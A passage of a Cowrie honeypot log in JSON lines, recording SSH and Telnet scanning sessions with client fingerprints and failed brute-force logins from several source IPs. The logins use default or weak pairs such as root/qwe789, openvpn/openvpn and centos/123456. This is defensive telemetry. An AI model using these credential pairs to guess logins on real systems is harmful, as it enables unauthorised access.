,"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:05.995055Z","src_ip":"176.65.132.129","session":"7ab5e6f7242c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:06.045321Z","src_ip":"80.94.92.184","session":"3600aa9ab864","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:06.049797Z","src_ip":"80.94.92.184","session":"3600aa9ab864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:06.245140Z","src_ip":"176.65.132.129","session":"7ab5e6f7242c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.193.250.100","src_port":44588,"dst_ip":"10.17.0.5","dst_port":22,"session":"0fed04bea619","protocol":"ssh","message":"New connection: 20.193.250.100:44588 (10.17.0.5:22) [session: 0fed04bea619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:06.422919Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:06.427620Z","src_ip":"20.193.250.100","session":"0fed04bea619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:06.645024Z","src_ip":"20.193.250.100","session":"0fed04bea619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:07.361039Z","src_ip":"176.65.132.129","session":"7ab5e6f7242c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe789","message":"login attempt [root/qwe789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:07.485816Z","src_ip":"20.193.250.100","session":"0fed04bea619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123456","message":"login attempt [sol/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:08.091653Z","src_ip":"80.94.92.184","session":"3600aa9ab864","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57516,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b0eaf2e8fc2","protocol":"telnet","message":"New connection: 152.42.224.71:57516 (10.17.0.5:23) [session: 6b0eaf2e8fc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:08.333191Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:08.691148Z","src_ip":"20.193.250.100","session":"0fed04bea619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55278,"dst_ip":"159.203.135.109","dst_port":22,"session":"1938e7c04a12","protocol":"ssh","message":"New connection: 176.65.132.129:55278 (159.203.135.109:22) [session: 1938e7c04a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:09.119426Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:09.125033Z","src_ip":"176.65.132.129","session":"1938e7c04a12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:09.207379Z","src_ip":"176.65.132.129","session":"1938e7c04a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:09.378428Z","src_ip":"80.94.92.184","session":"3600aa9ab864","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tidb","password":"tidb","message":"login attempt [tidb/tidb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:09.453998Z","src_ip":"176.65.132.129","session":"1938e7c04a12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.544347524642944,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:10.400692Z","src_ip":"152.42.224.71","session":"63aa9603368a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:10.538064Z","src_ip":"176.65.132.129","session":"1938e7c04a12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55294,"dst_ip":"159.203.135.109","dst_port":22,"session":"d315972b7fb3","protocol":"ssh","message":"New connection: 176.65.132.129:55294 (159.203.135.109:22) [session: d315972b7fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:12.611072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:12.631995Z","src_ip":"176.65.132.129","session":"d315972b7fb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:12.705341Z","src_ip":"176.65.132.129","session":"d315972b7fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:13.035917Z","src_ip":"176.65.132.129","session":"d315972b7fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57522,"dst_ip":"10.17.0.5","dst_port":23,"session":"c71cfffac1f7","protocol":"telnet","message":"New connection: 152.42.224.71:57522 (10.17.0.5:23) [session: c71cfffac1f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:13.153465Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:14.120492Z","src_ip":"176.65.132.129","session":"d315972b7fb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.489928483963013,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:14.822978Z","src_ip":"152.42.224.71","session":"6b0eaf2e8fc2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.226.120.188","src_port":34609,"dst_ip":"10.17.0.5","dst_port":23,"session":"43808fb19278","protocol":"telnet","message":"New connection: 45.226.120.188:34609 (10.17.0.5:23) [session: 43808fb19278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:15.090189Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54744,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e2dc995898f","protocol":"ssh","message":"New connection: 176.65.132.129:54744 (159.203.135.109:22) [session: 4e2dc995898f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:15.930518Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:15.935667Z","src_ip":"176.65.132.129","session":"4e2dc995898f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:16.018826Z","src_ip":"176.65.132.129","session":"4e2dc995898f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"almalinux","password":"almalinux","message":"login attempt [almalinux/almalinux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:16.269561Z","src_ip":"176.65.132.129","session":"4e2dc995898f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:17.530898Z","src_ip":"176.65.132.129","session":"4e2dc995898f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.226.120.188","src_port":34716,"dst_ip":"10.17.0.5","dst_port":23,"session":"fedfb1b6ded9","protocol":"telnet","message":"New connection: 45.226.120.188:34716 (10.17.0.5:23) [session: fedfb1b6ded9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:18.828597Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54758,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2d6a9d77be9","protocol":"ssh","message":"New connection: 176.65.132.129:54758 (159.203.135.109:22) [session: c2d6a9d77be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:19.239494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:19.244113Z","src_ip":"176.65.132.129","session":"c2d6a9d77be9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:19.327014Z","src_ip":"176.65.132.129","session":"c2d6a9d77be9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57518,"dst_ip":"10.17.0.5","dst_port":23,"session":"e295153b53e6","protocol":"telnet","message":"New connection: 152.42.224.71:57518 (10.17.0.5:23) [session: e295153b53e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:19.506193Z"}
{"eventid":"cowrie.login.failed","username":"centos","password":"123456","message":"login attempt [centos/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:19.573378Z","src_ip":"176.65.132.129","session":"c2d6a9d77be9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.53235840797424,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:19.969481Z","src_ip":"152.42.224.71","session":"e842c07a4f2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:20.658527Z","src_ip":"176.65.132.129","session":"c2d6a9d77be9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":54772,"dst_ip":"159.203.135.109","dst_port":22,"session":"f10426a86bc2","protocol":"ssh","message":"New connection: 176.65.132.129:54772 (159.203.135.109:22) [session: f10426a86bc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:22.552720Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:22.559585Z","src_ip":"176.65.132.129","session":"f10426a86bc2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:22.762730Z","src_ip":"176.65.132.129","session":"f10426a86bc2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lenovo","password":"lenovo","message":"login attempt [lenovo/lenovo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:23.103132Z","src_ip":"176.65.132.129","session":"f10426a86bc2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:24.189630Z","src_ip":"176.65.132.129","session":"f10426a86bc2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.135.168.228","src_port":38697,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a7cb960f7c6","protocol":"ssh","message":"New connection: 213.135.168.228:38697 (159.203.135.109:22) [session: 5a7cb960f7c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:25.003085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:52:25.010185Z","src_ip":"213.135.168.228","session":"5a7cb960f7c6","protocol":"ssh"}
